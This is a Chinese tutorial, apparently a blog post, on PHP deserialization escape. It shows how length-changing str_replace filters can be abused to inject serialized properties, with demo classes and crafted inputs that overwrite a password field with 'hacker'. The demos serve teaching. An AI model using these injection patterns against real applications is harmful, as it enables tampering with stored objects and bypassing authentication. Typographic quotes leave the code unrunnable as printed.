1. 对于一段序列化加入非法 } 符号后:

    $a=’O:7:”Student”:1:{s:1:”a”;s:4:”1231”;}2121”;}’;
    var_dump(unserialize($a));
    输出: string(7) “Student” [“a”]=> string(4) “1231”
    在 } 后面的内容不会被解析,
    反序列化逃逸怎么来呢?网站一般会在输入框会验证是否输入合法的字符,如果不合法,有些网站可能会把不合法的字符给替换掉,然后把输入的值进行反序列化,这就造成了反序列化逃逸漏洞。主要在使用替换函数时,前后替换字符尾数不一致而导致的,例如:
    str_replace(‘yes’,’ok’,$str);
    将yes替换为ok后字符会减少一位,因此可以通过语句后面构造特定恶意语句,再写相应的yes个数从而补齐后面的尾数,导致后面的恶意语句生效。
    <?php
    class nlost{
    public $a = “hello”;
    public $b = “world”;
    public $c = “hack!!”;
    }
    $pa = new nlost();
    $ex = serialize($pa);
    echo $ex.”\n”;
    $ex = str_replace(“world”,”gogogoout”,$ex);
    echo $ex;
    ?>
    输出:
    O:5:”nlost”:3:{s:1:”a”;s:5:”hello”;s:1:”b”;s:5:”world”;s:1:”c”;s:6:”hack!!”;} O:5:”nlost”:3:{s:1:”a”;s:5:”hello”;s:1:”b”;s:5:”gogogoout”;s:1:”c”;s:6:”hack!!”;}

    对于将多个字符替换为少,可以称之为 吃;(吃掉后面的字符)
    str_replace(‘aaaa’,’b’,$str);
    对于将少个字符替换为多,可以称之为 挤;
    str_replace(‘b’,’aaaa’,$str);

    <?php
    function filter($str){
    return str_replace(‘cc’, ‘b’, $str);
    }
    class A{
    public $name;
    public $pass;
    public function __construct($name,$pass){
    $this->name=$name;
    $this->pass=$pass;
    }
    }
    $AA=new A(‘cccccccccccccccccccccccccccccccccccc’,’;s:4:”pass”;s:6:”hacker”;}’);
    echo serialize($AA).PHP_EOL;
    $res=filter(serialize($AA));
    echo $res.PHP_EOL;
    $c=unserialize($res);
    echo “name: “.$c->name.”
    “;
    echo “pass: “.$c->pass;
    ?>
    输出:
    O:1:”A”:2:{s:4:”name”;s:36:”cccccccccccccccccccccccccccccccccccc”;s:4:”pass”;s:26:”;s:4:”pass”;s:6:”hacker”;}”;} O:1:”A”:2:{s:4:”name”;s:36:”bbbbbbbbbbbbbbbbbb“;s:4:”pass”;s:26:“;s:4:”pass”;s:6:”hacker”;}”;} name: bbbbbbbbbbbbbbbbbb”;s:4:”pass”;s:26:
    pass: hacker
    加深部分就是被吃掉的部分。

    <?php
    function filter($str){
    return str_replace(‘b’, ‘cccc’, $str);
    }
    class A{
    public $name;
    public $pass;
    public function __construct($name,$pass){
    $this->name=$name;
    $this->pass=$pass;
    }
    }
    $AA=new A(‘bbbbbbbbb”;s:4:”pass”;s:6:”hacker”;}’,’1243’);
    echo serialize($AA).PHP_EOL;
    $res=filter(serialize($AA));
    echo $res.PHP_EOL;
    $c=unserialize($res);
    echo ‘name: ‘.$c->name.”
    “;
    echo ‘pass: ‘.$c->pass;
    ?>
    输出:
    O:1:”A”:2:{s:4:”name”;s:36:”bbbbbbbbb”;s:4:”pass”;s:6:”hacker”;}”;s:4:”pass”;s:4:”1243”;} O:1:”A”:2:{s:4:”name”;s:36:”cccccccccccccccccccccccccccccccccccc“;s:4:”pass”;s:6:”hacker”;}“;s:4:”pass”;s:4:”1243”;} name: cccccccccccccccccccccccccccccccccccc
    pass: hacker

    加深部分就是用来替换后面的,以 } 结尾,后面的字符被挤出来。